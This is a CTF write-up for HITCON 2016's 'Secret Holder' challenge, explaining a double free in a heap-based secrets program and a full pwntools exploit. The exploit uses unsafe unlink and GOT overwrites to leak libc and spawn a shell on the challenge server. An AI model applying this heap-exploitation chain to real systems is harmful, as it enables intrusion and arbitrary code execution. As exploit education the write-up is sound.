The force is with those who read the source.

HITCON CTF 2016: Secret Holder (pwn 100)

2016-10-29

Description

Break the Secret Holder and find the secret.
nc 52.68.31.117 5566
SecretHolder

TL;DR

Exploit

Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret
1
Which level of secret do you want to keep?
1. Small secret
2. Big secret
3. Huge secret

The program allows us to conduct three kinds of operations on three different sizes of secrets.

Three operations:

  1. Keep secret: calloc corresponding size of memory and read some input to it.
  2. Wipe secret: free the corresponding memory.
  3. Renew secret: Overwrite the content of the corresponding memory.

Three secrets:

  1. Small secret: 40 bytes
  2. Big secret: 4000 bytes
  3. Huge secret: 400000 bytes

We can only keep at most one secret per size. Three pointers of the secret are store on the .bss section with three flags which indicate whether the secret has been allocated.

The vulnerability comes from the wipe function. The program will check whether the secret has been created in keep and renew but not in wipe, so we can free an already freed secret. free a secret twice consecutively would only make the program crash due to the double free detection. However, if we keep another secret on the same address after the first free, we can free this new secret through the old pointer. Then, since the new secret doesn’t aware of this free, we can still write data to it and cause an use after free vulnerability.

For example, if we invoke functions in the following sequence:
keep('small') -> wipe('small') -> keep('big') -> wipe('small') -> keep('small')

The heap layout would be like:
heap1.png

We can now overflow the header of the top chunk. There is a technique call “House of force”, which is related to modify the header of the top chunk. However, it also requires the ability to malloc arbitrary size, so this program is not the case.

I was stuck in here for a while until I accidentally found an interesting fact of heap. The huge secret is too large to fit in the main arena, so it supposed to be allocated by mmap. It does call mmap at the first time, however, if I free the memory and malloc again, the new memory chunk will surprisingly appear in the main arena. I can’t find the description of this property on related heap exploit document. Maybe I should check it out in the source code someday. Anyway, this property turns out to be the key point of solving this problem.

We first invoke functions as the previous example with additional keep(huge) -> wipe(huge) -> keep(huge). The heap layout would become:
heap2.png

Then, we are able to modify the content of the small secret and the header of the huge secret. These abilities plus the pointer of the secrets on .bss section enable a classical attack call “unsafe unlink”. I create a fake freed chunk in the small secret, whose fd and bk points to small secret pointer - 0x18 and small secret pointer - 0x10 respectively, and change the PREV_INUSE bit of the huge secret to 0. After wiping the modified huge secret, the small secret pointer would point to a little offset before itself, allowing us to overflow three secret pointers and further get the arbitrary write.

Before modifying GOT entry to system, we have to leak the base of libc first. I achieve it by changing the free GOT entry to the address of puts in .plt section and make the big secret pointer point to read GOT entry. Then, calling wipe on the big secret would print the address of read and leak the address of libc (I guessed the libc binary is the same as another pwn problem. libc.so).

Finally, we can change the atoi GOT entry to system, and input "sh" to get the shell. The whole exploit is as follows.

secret_holder_exp.pydownload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
from time import sleep

context.terminal = ['tmux', 'splitw', '-h']

small_secret = 0x6020B0
big_secret = 0x6020A0
puts_plt = 0x4006C0
free_got = 0x602018
read_got = 0x602040
atoi_got = 0x602070

read_base = 0xf69a0
system_base = 0x45380

size_num = { 'small': '1', 'big': '2', 'huge': '3' }

def keep(size):
print r.recvuntil('3. Renew secret\n')
log.info('keep ' + size + ' secret')
r.sendline('1')
print r.recvuntil('3. Huge secret\n')
r.sendline(size_num[size])
print r.recvuntil(':')
r.send(size)

def wipe(size):
print r.recvuntil('3. Renew secret\n')
log.info('wipe ' + size + ' secret')
r.sendline('2')
print r.recvuntil('3. Huge secret\n')
r.sendline(size_num[size])

def renew(size, content):
print r.recvuntil('3. Renew secret\n')
log.info('renew ' + size + ' secret')
r.sendline('3')
print r.recvuntil('3. Huge secret\n')
r.sendline(size_num[size])
print r.recvuntil(':')
r.send(content)

# r = process('./SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8', env={'LD_PRELOAD': './libc.so.6_375198810bb39e6593a968fcbcf6556789026743'})
# gdb.attach(r, '''
# c
# ''')
r = remote('52.68.31.117', 5566)

keep('small')
wipe('small')
keep('big')
wipe('small')
keep('small')
keep('huge')
wipe('huge')
keep('huge')

renew('big', p64(0) + p64(49) + p64(small_secret-0x18) + p64(small_secret-0x10) + p64(32) + p64(400016))
wipe('huge') # trigger unsafe unlink
renew('small', 'A'*8 + p64(free_got) + 'A'*8 + p64(big_secret)) # padding + big_secret + huge_secret + small_secret
renew('big', p64(puts_plt))
renew('small', p64(read_got)) # *free_got = puts_plt, *big_secret = read_got

wipe('big') # puts(read_got)
data = r.recvline()
print repr(data)
read_addr = u64(data[:6] + '\x00\x00')
log.critical('read_addr: ' + hex(read_addr))
libc_addr = read_addr - read_base
log.critical('libc_addr: ' + hex(libc_addr))
system_addr = libc_addr + system_base
log.critical('system_addr: ' + hex(system_addr))

renew('small', p64(atoi_got) + 'A'*8 + p64(big_secret) + p64(1)) # big_secret + huge_secret + small_secret + big_in_use_flag
renew('big', p64(system_addr)) # *atoi_got = system_addr

log.critical("get shell")
r.send('sh')

r.interactive()

Flag: hitcon{The73 1s a s3C7e+ In malloc.c, h4ve y0u f0Und It?:P}

Note

What I’ve learned:
The behavior of malloc when the requested size is greater than the main arena limit.


Blog comments powered by Disqus